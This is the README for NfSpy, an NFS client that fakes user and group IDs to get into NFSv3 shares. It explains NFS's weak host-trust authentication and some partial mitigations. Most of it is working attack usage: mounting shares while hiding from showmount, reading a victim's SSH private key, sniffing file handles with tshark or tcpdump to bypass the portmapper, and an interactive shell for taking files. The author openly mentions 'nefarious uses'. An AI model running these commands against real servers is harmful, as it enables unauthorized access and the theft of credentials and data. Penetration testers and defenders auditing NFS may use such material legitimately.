NfSpy - an ID-spoofing NFS client

by Daniel Miller

NfSpy is a Python library for automating the falsification of NFS credentials when mounting an NFS share. Included are two client programs:

• nfspy uses the Filesystem in Userspace (FUSE) library to mount an NFS share in Linux. This allows the use of any regular file-searching and manipulation programs like grep and find to explore the NFS export.

• nfspysh is a ftp-like interactive shell for exploring NFS exports. It does not require the FUSE library, so it can run on non-Linux platforms.

Vulnerability exploited

NFS before version 4 is reliant upon host trust relationships for authentication. The NFS server trusts any client machines to authenticate users and assign the same user IDs (UIDS) that the shared filesystem uses. This works in NIS, NIS+, and LDAP domains, for instance, but only if you know the client machine is not compromised, or faking its identity. This is because the only authentication in the NFS protocol is the passing of the UID and GID (group ID). There are a few things that can be done to enhance the security of NFS, but many of them are incomplete solutions, and even with all three listed here, it could still be possible to circumvent the security measures.

Squash root

The server or the share ("export" in NFS lingo) can be configured root_squash, meaning that any requests that come in claiming to be UID or GID 0 (root) will be treated like the nobody user, or equivalent on the system. This does not prevent an attacker from spoofing any other UID/GID combo, but will protect the most sensitive info and configs on the export.

nfs_portmon

Another setting that can be enabled is nfs_portmon, which denies requests coming from source ports outside of the 513-1024 range. Since only root can (usually) allocate these ports, this prevents a regular user on a trusted machine from writing and using their own NFS client that fakes UID/GID. It does nothing to stop a rogue host, a user with su permissions, or a root-level compromised machine from doing the same thing.

Export restrictions

Shares/exports can be controlled so that only certain machines can access them. These Access Control Lists can consist of:

• IP addresses (e.g. 192.168.1.34)
• IP prefixes (e.g. @192.168.1)
• hostnames (e.g. server1.mydom.nis)
• host lists (e.g. @trusted_hosts)
• "everyone"

The best configuration would be to use a host list, since querying the nfs daemon will just give the name of the list, not which addresses or names it contains. Next in line would be IP addresses or hostnames, since those are more difficult to spoof. IP prefixes and "everyone" are indications of insecurity, since there is little or no restriction on what addresses can connect.

Using NfSpy

A list of options can be seen by running

nfspy --help

Example

There is an NFS server on 192.168.1.124.

$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

Mount up the share. Using sudo lets you bind to a privileged port, and the allow_other option lets any user use the filesystem. The other new option here is "hide", which immediately "unmounts" the share on the server, but keeps the filehandle it got. This hides your presence from anyone using showmount -a

$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

Enjoy your newfound freedom!

$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

To unmount, use fusermount:

$ sudo fusermount -u /mnt

Advanced example

There is an NFS server on 192.168.1.124. Portmap is blocked, so you can't get a list of shares, but you can sniff the network traffic.

$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

Now use the dirhandle and getroot mount options to avoid using the mount daemon, and use the nfsport option to avoid using the portmapper, traversing up the directory tree to the root of the export.

$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

Note that we didn't provide a path to mount, since all we know is the nfs filehandle. For this to work, the handle must be to a directory, not a file, and you have to work quickly or the handle will become stale.

The tshark program is part of the Wireshark project. The common tcpdump program also has the ability to decode NFS filehandles with the -u option:

sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

These filehandles are 4-byte colon-separated, so you'll have to pad them with zeros on your own; NfSpy will just strip the colons out, which is incorrect.

Using nfspysh

nfspysh takes the same basic set of options in the same format as nfspy, so the tutorial above should work fine. The list of commands can be seen with the "help" command.

$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

BUGS

• Write access is beta. It has worked in my tests on a handful of systems, but could use more testing. Because of this, NfSpy defaults to mounting ro. Specify the rw mount option to change this. (nfspysh does not have a read-only mode. Tread carefully!)

• NfSpy does not work with the standard lockd and statd services, which could cause problems with writing to files. For read-only, though, and most nefarious uses for which it was intended, this shouldn't be a problem.

• NfSpy only supports NFSv3 at the moment. Future versions may intelligently choose a NFS version.